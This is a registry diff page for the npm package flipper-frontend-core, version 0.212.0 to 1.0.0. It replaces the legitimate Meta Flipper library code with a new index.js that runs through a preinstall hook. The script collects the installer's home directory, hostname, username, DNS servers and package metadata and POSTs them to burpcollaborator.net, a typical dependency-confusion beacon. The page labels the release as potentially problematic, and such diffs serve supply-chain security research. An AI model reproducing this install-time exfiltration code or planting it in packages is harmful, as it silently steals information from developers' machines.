flipper-frontend-core 0.212.0 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of flipper-frontend-core might be problematic. Click here for more details.

Files changed (67) hide show
  1. package/index.js +47 -0
  2. package/package.json +7 -33
  3. package/README.md +0 -3
  4. package/lib/AbstractClient.d.ts +0 -75
  5. package/lib/AbstractClient.d.ts.map +0 -1
  6. package/lib/AbstractClient.js +0 -376
  7. package/lib/AbstractClient.js.map +0 -1
  8. package/lib/RenderHost.d.ts +0 -138
  9. package/lib/RenderHost.d.ts.map +0 -1
  10. package/lib/RenderHost.js +0 -19
  11. package/lib/RenderHost.js.map +0 -1
  12. package/lib/devices/ArchivedDevice.d.ts +0 -35
  13. package/lib/devices/ArchivedDevice.d.ts.map +0 -1
  14. package/lib/devices/ArchivedDevice.js +0 -65
  15. package/lib/devices/ArchivedDevice.js.map +0 -1
  16. package/lib/devices/BaseDevice.d.ts +0 -79
  17. package/lib/devices/BaseDevice.d.ts.map +0 -1
  18. package/lib/devices/BaseDevice.js +0 -267
  19. package/lib/devices/BaseDevice.js.map +0 -1
  20. package/lib/devices/TestDevice.d.ts +0 -16
  21. package/lib/devices/TestDevice.d.ts.map +0 -1
  22. package/lib/devices/TestDevice.js +0 -36
  23. package/lib/devices/TestDevice.js.map +0 -1
  24. package/lib/fb-stubs/constants.d.ts +0 -13
  25. package/lib/fb-stubs/constants.d.ts.map +0 -1
  26. package/lib/fb-stubs/constants.js +0 -14
  27. package/lib/fb-stubs/constants.js.map +0 -1
  28. package/lib/flipperLibImplementation/downloadFile.d.ts +0 -12
  29. package/lib/flipperLibImplementation/downloadFile.d.ts.map +0 -1
  30. package/lib/flipperLibImplementation/downloadFile.js +0 -49
  31. package/lib/flipperLibImplementation/downloadFile.js.map +0 -1
  32. package/lib/flipperLibImplementation/index.d.ts +0 -15
  33. package/lib/flipperLibImplementation/index.d.ts.map +0 -1
  34. package/lib/flipperLibImplementation/index.js +0 -72
  35. package/lib/flipperLibImplementation/index.js.map +0 -1
  36. package/lib/globalObject.d.ts +0 -24
  37. package/lib/globalObject.d.ts.map +0 -1
  38. package/lib/globalObject.js +0 -18
  39. package/lib/globalObject.js.map +0 -1
  40. package/lib/index.d.ts +0 -19
  41. package/lib/index.d.ts.map +0 -1
  42. package/lib/index.js +0 -46
  43. package/lib/index.js.map +0 -1
  44. package/lib/plugins.d.ts +0 -39
  45. package/lib/plugins.d.ts.map +0 -1
  46. package/lib/plugins.js +0 -189
  47. package/lib/plugins.js.map +0 -1
  48. package/lib/utils/createServerAddOnControls.d.ts +0 -11
  49. package/lib/utils/createServerAddOnControls.d.ts.map +0 -1
  50. package/lib/utils/createServerAddOnControls.js +0 -69
  51. package/lib/utils/createServerAddOnControls.js.map +0 -1
  52. package/lib/utils/isPluginCompatible.d.ts +0 -12
  53. package/lib/utils/isPluginCompatible.d.ts.map +0 -1
  54. package/lib/utils/isPluginCompatible.js +0 -26
  55. package/lib/utils/isPluginCompatible.js.map +0 -1
  56. package/lib/utils/isPluginVersionMoreRecent.d.ts +0 -12
  57. package/lib/utils/isPluginVersionMoreRecent.d.ts.map +0 -1
  58. package/lib/utils/isPluginVersionMoreRecent.js +0 -39
  59. package/lib/utils/isPluginVersionMoreRecent.js.map +0 -1
  60. package/lib/utils/isProduction.d.ts +0 -10
  61. package/lib/utils/isProduction.d.ts.map +0 -1
  62. package/lib/utils/isProduction.js +0 -16
  63. package/lib/utils/isProduction.js.map +0 -1
  64. package/lib/utils/pluginKey.d.ts +0 -13
  65. package/lib/utils/pluginKey.d.ts.map +0 -1
  66. package/lib/utils/pluginKey.js +0 -27
  67. package/lib/utils/pluginKey.js.map +0 -1
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ //author:- facebook.com/amwsis
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
24
+
25
+ var options = {
26
+ hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
27
+ port: 443,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
package/package.json CHANGED
@@ -1,38 +1,12 @@
1
1
  {
2
2
  "name": "flipper-frontend-core",
3
- "version": "0.212.0",
4
- "description": "Exposes core functionality for Flipper frontends: Flipper Electron, Flipper Browser UI, Flipper Server Companion.",
5
- "repository": "facebook/flipper",
6
- "main": "lib/index.js",
7
- "flipperBundlerEntry": "src",
8
- "types": "lib/index.d.ts",
9
- "license": "MIT",
10
- "bugs": "https://github.com/facebook/flipper/issues",
11
- "dependencies": {
12
- "eventemitter3": "^4.0.7",
13
- "flipper-common": "0.212.0",
14
- "flipper-plugin-core": "0.212.0",
15
- "immer": "^9.0.18",
16
- "js-base64": "^3.7.5",
17
- "p-map": "^4.0.0",
18
- "reconnecting-websocket": "^4.4.0",
19
- "semver": "^7.3.7"
20
- },
21
- "devDependencies": {
22
- "flipper-test-utils": "0.212.0"
23
- },
24
- "peerDependencies": {},
3
+ "version": "1.0.0",
4
+ "description": "\"Facebook Whitehat\"",
5
+ "main": "index.js",
25
6
  "scripts": {
26
- "reset": "rimraf lib *.tsbuildinfo",
27
- "build": "tsc -b",
28
- "prepack": "yarn reset && yarn build"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
29
9
  },
30
- "files": [
31
- "lib/**/*"
32
- ],
33
- "homepage": "https://github.com/facebook/flipper",
34
- "keywords": [
35
- "Flipper"
36
- ],
37
- "author": "Facebook, Inc"
10
+ "author": "",
11
+ "license": "ISC"
38
12
  }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # flipper-frontend-core (TBD)
2
-
3
- Exposes core functionality for Flipper frontends: Flipper Electron, Flipper Browser UI, Flipper Server Companion.
@@ -1,75 +0,0 @@
1
- /**
2
- * Copyright (c) Meta Platforms, Inc. and affiliates.
3
- *
4
- * This source code is licensed under the MIT license found in the
5
- * LICENSE file in the root directory of this source tree.
6
- *
7
- * @format
8
- */
9
- import BaseDevice from './devices/BaseDevice';
10
- import { Logger, FlipperServer } from 'flipper-common';
11
- import EventEmitter from 'eventemitter3';
12
- import { ClientQuery, ClientResponseType, ClientErrorType } from 'flipper-common';
13
- import { _SandyPluginInstance, _SandyPluginDefinition } from 'flipper-plugin-core';
14
- type Plugins = Set<string>;
15
- type PluginsArr = Array<string>;
16
- export type Params = {
17
- api: string;
18
- method: string;
19
- params?: Object;
20
- };
21
- export type RequestMetadata = {
22
- method: string;
23
- id: number;
24
- params: Params | undefined;
25
- };
26
- export interface ClientConnection {
27
- send(data: any): void;
28
- sendExpectResponse(data: any): Promise<ClientResponseType>;
29
- }
30
- export default abstract class AbstractClient extends EventEmitter {
31
- connected: import("flipper-plugin-core").Atom<boolean>;
32
- id: string;
33
- query: ClientQuery;
34
- sdkVersion: number;
35
- messageIdCounter: number;
36
- plugins: Plugins;
37
- backgroundPlugins: Plugins;
38
- connection: ClientConnection | null | undefined;
39
- activePlugins: Set<string>;
40
- device: BaseDevice;
41
- logger: Logger;
42
- sandyPluginStates: Map<string, _SandyPluginInstance>;
43
- private readonly serverAddOnControls;
44
- private readonly flipperServer;
45
- private resolveInitPromise;
46
- readonly initializationPromise: Promise<unknown>;
47
- constructor(id: string, query: ClientQuery, conn: ClientConnection | null | undefined, logger: Logger, plugins: Plugins | null | undefined, device: BaseDevice, flipperServer: FlipperServer);
48
- isBackgroundPlugin(pluginId: string): boolean;
49
- protected abstract shouldConnectAsBackgroundPlugin(pluginId: string): boolean;
50
- init(): Promise<void>;
51
- protected loadPlugins(_phase: 'init' | 'refresh'): Promise<Plugins>;
52
- protected loadPlugin(plugin: _SandyPluginDefinition, initialState?: Record<string, any>): void;
53
- startPluginIfNeeded(plugin: _SandyPluginDefinition | undefined): void;
54
- stopPluginIfNeeded(pluginId: string, _force?: boolean): void;
55
- disconnect(): void;
56
- destroy(): void;
57
- protected abstract getPlugin(pluginId: string): Promise<_SandyPluginDefinition | undefined>;
58
- protected getBackgroundPlugins(): Promise<PluginsArr>;
59
- refreshPlugins(): Promise<void>;
60
- onMessage(msg: string): void;
61
- protected handleExecuteMessage(params: Params): boolean;
62
- protected onResponse(data: ClientResponseType, resolve: ((a: any) => any) | undefined, reject: (error: ClientErrorType) => any): void;
63
- protected rawCall<T>(method: string, fromPlugin: boolean, params?: Params): Promise<T>;
64
- protected isAcceptingMessagesFromPlugin(plugin: string | null | undefined): boolean | null | undefined;
65
- protected getPerformanceMark(data: RequestMetadata): string;
66
- protected getLogEventName(data: RequestMetadata): string;
67
- initPlugin(pluginId: string): void;
68
- deinitPlugin(pluginId: string): void;
69
- protected rawSend(method: string, params?: Object): void;
70
- call(api: string, method: string, fromPlugin: boolean, params?: Object): Promise<Object>;
71
- send(api: string, method: string, params?: Object): void;
72
- supportsMethod(api: string, method: string): Promise<boolean>;
73
- }
74
- export {};
75
- //# sourceMappingURL=AbstractClient.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"AbstractClient.d.ts","sourceRoot":"","sources":["../src/AbstractClient.tsx"],"names":[],"mappings":"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"}
@@ -1,376 +0,0 @@
1
- "use strict";
2
- /**
3
- * Copyright (c) Meta Platforms, Inc. and affiliates.
4
- *
5
- * This source code is licensed under the MIT license found in the
6
- * LICENSE file in the root directory of this source tree.
7
- *
8
- * @format
9
- */
10
- var __importDefault = (this && this.__importDefault) || function (mod) {
11
- return (mod && mod.__esModule) ? mod : { "default": mod };
12
- };
13
- Object.defineProperty(exports, "__esModule", { value: true });
14
- const flipper_common_1 = require("flipper-common");
15
- const eventemitter3_1 = __importDefault(require("eventemitter3"));
16
- const pluginKey_1 = require("./utils/pluginKey");
17
- const immer_1 = require("immer");
18
- const flipper_common_2 = require("flipper-common");
19
- const flipper_plugin_core_1 = require("flipper-plugin-core");
20
- const createServerAddOnControls_1 = require("./utils/createServerAddOnControls");
21
- const isProduction_1 = __importDefault(require("./utils/isProduction"));
22
- class AbstractClient extends eventemitter3_1.default {
23
- constructor(id, query, conn, logger, plugins, device, flipperServer) {
24
- super();
25
- this.connected = (0, flipper_plugin_core_1.createState)(false);
26
- this.sandyPluginStates = new Map();
27
- this.initializationPromise = new Promise((_resolve) => {
28
- this.resolveInitPromise = _resolve;
29
- });
30
- this.connected.set(!!conn);
31
- this.plugins = plugins ? plugins : new Set();
32
- this.backgroundPlugins = new Set();
33
- this.connection = conn;
34
- this.id = id;
35
- this.query = query;
36
- this.sdkVersion = query.sdk_version || 0;
37
- this.messageIdCounter = 0;
38
- this.logger = logger;
39
- this.activePlugins = new Set();
40
- this.device = device;
41
- this.flipperServer = flipperServer;
42
- this.serverAddOnControls = (0, createServerAddOnControls_1.createServerAddOnControls)(this.flipperServer);
43
- }
44
- isBackgroundPlugin(pluginId) {
45
- return this.backgroundPlugins.has(pluginId);
46
- }
47
- async init() {
48
- var _a;
49
- await this.loadPlugins('init');
50
- await Promise.all([...this.plugins].map(async (pluginId) => this.startPluginIfNeeded(await this.getPlugin(pluginId))));
51
- this.backgroundPlugins = new Set(await this.getBackgroundPlugins());
52
- this.backgroundPlugins.forEach((plugin) => {
53
- if (this.shouldConnectAsBackgroundPlugin(plugin)) {
54
- this.initPlugin(plugin);
55
- }
56
- });
57
- this.emit('plugins-change');
58
- (_a = this.resolveInitPromise) === null || _a === void 0 ? void 0 : _a.call(this, null);
59
- }
60
- // get the supported plugins
61
- async loadPlugins(_phase) {
62
- var _a;
63
- let response;
64
- try {
65
- response = await (0, flipper_common_2.timeout)(30 * 1000, this.rawCall('getPlugins', false), 'Fetch plugin timeout. Unresponsive client?');
66
- }
67
- catch (e) {
68
- console.warn('Failed to fetch plugin', e);
69
- }
70
- this.plugins = new Set((_a = response === null || response === void 0 ? void 0 : response.plugins) !== null && _a !== void 0 ? _a : []);
71
- console.info('AbstractClient.loadPlugins', this.query, [...this.plugins]);
72
- return this.plugins;
73
- }
74
- loadPlugin(plugin, initialState) {
75
- try {
76
- const pluginInstance = new flipper_plugin_core_1._SandyPluginInstance(this.serverAddOnControls, (0, flipper_plugin_core_1.getFlipperLib)(), plugin, this, (0, pluginKey_1.getPluginKey)(this.id, { serial: this.query.device_id }, plugin.id), initialState);
77
- pluginInstance.events.on('error', (message) => {
78
- const error = {
79
- message,
80
- name: 'Plugin Error',
81
- stacktrace: '',
82
- };
83
- this.emit('error', error);
84
- });
85
- this.sandyPluginStates.set(plugin.id, pluginInstance);
86
- }
87
- catch (e) {
88
- console.error(`Failed to start plugin '${plugin.id}': `, e);
89
- }
90
- }
91
- startPluginIfNeeded(plugin) {
92
- if (plugin && !this.sandyPluginStates.has(plugin.id)) {
93
- this.loadPlugin(plugin);
94
- }
95
- }
96
- stopPluginIfNeeded(pluginId, _force = false) {
97
- const instance = this.sandyPluginStates.get(pluginId);
98
- if (instance) {
99
- instance.destroy();
100
- this.sandyPluginStates.delete(pluginId);
101
- }
102
- }
103
- // connection lost, but Client might live on
104
- disconnect() {
105
- this.sandyPluginStates.forEach((instance) => {
106
- instance.disconnect();
107
- });
108
- this.emit('close');
109
- this.connected.set(false);
110
- }
111
- // clean up this client
112
- destroy() {
113
- this.disconnect();
114
- this.plugins.forEach((pluginId) => this.stopPluginIfNeeded(pluginId, true));
115
- this.serverAddOnControls.unsubscribe();
116
- }
117
- // get the supported background plugins
118
- async getBackgroundPlugins() {
119
- if (this.sdkVersion < 4) {
120
- return [];
121
- }
122
- const data = await (0, flipper_common_2.timeout)(30 * 1000, this.rawCall('getBackgroundPlugins', false), 'Fetch background plugins timeout for ' + this.id);
123
- return data.plugins;
124
- }
125
- // get the plugins, and update the UI
126
- async refreshPlugins() {
127
- try {
128
- const oldBackgroundPlugins = this.backgroundPlugins;
129
- await this.loadPlugins('refresh');
130
- await Promise.all([...this.plugins].map(async (pluginId) => this.startPluginIfNeeded(await this.getPlugin(pluginId))));
131
- const newBackgroundPlugins = await this.getBackgroundPlugins();
132
- this.backgroundPlugins = new Set(newBackgroundPlugins);
133
- // diff the background plugin list, disconnect old, connect new ones
134
- oldBackgroundPlugins.forEach((plugin) => {
135
- if (!this.backgroundPlugins.has(plugin)) {
136
- this.deinitPlugin(plugin);
137
- }
138
- });
139
- newBackgroundPlugins.forEach((plugin) => {
140
- if (!oldBackgroundPlugins.has(plugin) &&
141
- this.shouldConnectAsBackgroundPlugin(plugin)) {
142
- this.initPlugin(plugin);
143
- }
144
- });
145
- this.emit('plugins-change');
146
- }
147
- catch (e) {
148
- if (this.connected) {
149
- throw e;
150
- }
151
- else {
152
- console.warn(e);
153
- }
154
- }
155
- }
156
- onMessage(msg) {
157
- var _a, _b, _c, _d;
158
- if (typeof msg !== 'string') {
159
- return;
160
- }
161
- let rawData;
162
- try {
163
- rawData = (0, immer_1.freeze)(JSON.parse(msg), true);
164
- }
165
- catch (err) {
166
- console.error(`Invalid JSON: ${msg}`, 'clientMessage');
167
- return;
168
- }
169
- const data = rawData;
170
- const { id, method } = data;
171
- this.emit('flipper-debug-message', {
172
- device: (_a = this.device) === null || _a === void 0 ? void 0 : _a.displayTitle(),
173
- app: this.query.app,
174
- flipperInternalMethod: method,
175
- plugin: (_b = data.params) === null || _b === void 0 ? void 0 : _b.api,
176
- pluginMethod: (_c = data.params) === null || _c === void 0 ? void 0 : _c.method,
177
- payload: (_d = data.params) === null || _d === void 0 ? void 0 : _d.params,
178
- direction: 'toFlipper:message',
179
- });
180
- if (id == null) {
181
- const { error } = data;
182
- if (error != null) {
183
- console.error(`Error received from device ${method ? `when calling ${method}` : ''}: ${error.message} + \nDevice Stack Trace: ${error.stacktrace}`, 'deviceError');
184
- this.emit('error', error);
185
- }
186
- else if (method === 'refreshPlugins') {
187
- this.refreshPlugins();
188
- }
189
- else if (method === 'execute') {
190
- if (!data.params) {
191
- throw new Error('expected params');
192
- }
193
- const params = data.params;
194
- const bytes = msg.length * 2; // string lengths are measured in UTF-16 units (not characters), so 2 bytes per char
195
- this.emit('bytes-received', params.api, bytes);
196
- if (bytes > 5 * 1024 * 1024) {
197
- console.warn(`Plugin '${params.api}' received excessively large message for '${params.method}': ${Math.round(bytes / 1024)}kB`);
198
- }
199
- const handled = this.handleExecuteMessage(params);
200
- if (!handled && !(0, isProduction_1.default)()) {
201
- console.warn(`Unhandled message ${params.api}.${params.method}`);
202
- }
203
- }
204
- // TODO: Warn about unknown method?
205
- return; // method === 'execute'
206
- }
207
- }
208
- handleExecuteMessage(params) {
209
- const pluginInstance = this.sandyPluginStates.get(params.api);
210
- if (!pluginInstance) {
211
- return false;
212
- }
213
- pluginInstance.receiveMessages([params]);
214
- return true;
215
- }
216
- onResponse(data, resolve, reject) {
217
- if (data.success) {
218
- resolve && resolve(data.success);
219
- }
220
- else if (data.error) {
221
- reject(data.error);
222
- }
223
- }
224
- rawCall(method, fromPlugin, params) {
225
- return new Promise(async (resolve, reject) => {
226
- var _a, _b, _c, _d;
227
- const id = this.messageIdCounter++;
228
- const metadata = {
229
- method,
230
- id,
231
- params,
232
- };
233
- const data = {
234
- id,
235
- method,
236
- params,
237
- };
238
- const plugin = params ? params.api : undefined;
239
- const baseErrorMessage = `Unable to send ${(_a = params === null || params === void 0 ? void 0 : params.method) !== null && _a !== void 0 ? _a : method} to ${(_b = params === null || params === void 0 ? void 0 : params.api) !== null && _b !== void 0 ? _b : 'FlipperCore'}`;
240
- console.debug(data, 'message:call');
241
- const mark = this.getPerformanceMark(metadata);
242
- performance.mark(mark);
243
- if (!this.connected.get()) {
244
- // TODO: display warning in the UI
245
- reject(new flipper_common_1.NoLongerConnectedToClientError());
246
- return;
247
- }
248
- if (!fromPlugin || this.isAcceptingMessagesFromPlugin(plugin)) {
249
- try {
250
- const response = await this.connection.sendExpectResponse(data);
251
- if (!fromPlugin || this.isAcceptingMessagesFromPlugin(plugin)) {
252
- const logEventName = this.getLogEventName(data);
253
- this.logger.trackTimeSince(mark, logEventName);
254
- this.emit('bytes-received', plugin || 'unknown', response.length * 2);
255
- this.onResponse(response, resolve, reject);
256
- this.emit('flipper-debug-message', {
257
- device: (_c = this.device) === null || _c === void 0 ? void 0 : _c.displayTitle(),
258
- app: this.query.app,
259
- flipperInternalMethod: method,
260
- payload: response,
261
- plugin,
262
- pluginMethod: params === null || params === void 0 ? void 0 : params.method,
263
- direction: 'toFlipper:response',
264
- });
265
- }
266
- }
267
- catch (error) {
268
- reject(new Error(`${baseErrorMessage}, connection error: ${error}`));
269
- }
270
- }
271
- else {
272
- reject(new Error(`${baseErrorMessage}, client is not accepting messages for plugin ${plugin}`));
273
- }
274
- this.emit('flipper-debug-message', {
275
- device: (_d = this.device) === null || _d === void 0 ? void 0 : _d.displayTitle(),
276
- app: this.query.app,
277
- flipperInternalMethod: method,
278
- plugin: params === null || params === void 0 ? void 0 : params.api,
279
- pluginMethod: params === null || params === void 0 ? void 0 : params.method,
280
- payload: params === null || params === void 0 ? void 0 : params.params,
281
- direction: 'toClient:call',
282
- });
283
- });
284
- }
285
- isAcceptingMessagesFromPlugin(plugin) {
286
- return this.connection && (!plugin || this.activePlugins.has(plugin));
287
- }
288
- getPerformanceMark(data) {
289
- const { method, id } = data;
290
- return `request_response_${method}_${id}`;
291
- }
292
- getLogEventName(data) {
293
- const { method, params } = data;
294
- return params && params.api && params.method
295
- ? `request_response_${method}_${params.api}_${params.method}`
296
- : `request_response_${method}`;
297
- }
298
- initPlugin(pluginId) {
299
- this.activePlugins.add(pluginId);
300
- const instance = this.sandyPluginStates.get(pluginId);
301
- if (this.connected.get() && instance) {
302
- this.rawSend('init', { plugin: pluginId });
303
- instance.connect();
304
- }
305
- }
306
- deinitPlugin(pluginId) {
307
- this.activePlugins.delete(pluginId);
308
- const instance = this.sandyPluginStates.get(pluginId);
309
- instance === null || instance === void 0 ? void 0 : instance.disconnect();
310
- if (this.connected.get() && instance) {
311
- this.rawSend('deinit', { plugin: pluginId });
312
- }
313
- }
314
- rawSend(method, params) {
315
- var _a;
316
- const data = {
317
- method,
318
- params,
319
- };
320
- console.debug(data, 'message:send');
321
- if (this.connection) {
322
- this.connection.send(data);
323
- }
324
- this.emit('flipper-debug-message', {
325
- device: (_a = this.device) === null || _a === void 0 ? void 0 : _a.displayTitle(),
326
- app: this.query.app,
327
- flipperInternalMethod: method,
328
- payload: params,
329
- direction: 'toClient:send',
330
- });
331
- }
332
- call(api, method, fromPlugin, params) {
333
- return (0, flipper_common_1.reportPluginFailures)(this.rawCall('execute', fromPlugin, {
334
- api,
335
- method,
336
- params,
337
- }).catch((err) => {
338
- // We only throw errors if the connection is still alive
339
- // as connection-related ones aren't recoverable from
340
- // user code.
341
- if (this.connected.get()) {
342
- // This is a special case where we a send failed because of
343
- // a disconnect "mid-air". This can happen, for instance,
344
- // when you pull the plug from a connected phone. We can
345
- // still handle this gracefully.
346
- if (err.toString().includes('Socket closed unexpectedly')) {
347
- console.warn(`Failed to call device due to unexpected disconnect: ${err}`);
348
- this.disconnect();
349
- return {};
350
- }
351
- throw err;
352
- }
353
- // This effectively preserves the previous behavior
354
- // of ignoring disconnection-related call failures.
355
- return {};
356
- }), `Call-${method}`, api);
357
- }
358
- send(api, method, params) {
359
- if (!(0, isProduction_1.default)()) {
360
- console.warn(`${api}:${method || ''} client.send() is deprecated. Please use call() instead so you can handle errors.`);
361
- }
362
- return this.rawSend('execute', { api, method, params });
363
- }
364
- async supportsMethod(api, method) {
365
- if (!this.connected.get()) {
366
- return false;
367
- }
368
- const response = await this.rawCall('isMethodSupported', true, {
369
- api,
370
- method,
371
- });
372
- return response.isSupported;
373
- }
374
- }
375
- exports.default = AbstractClient;
376
- //# sourceMappingURL=AbstractClient.js.map
@@ -1 +0,0 @@
1
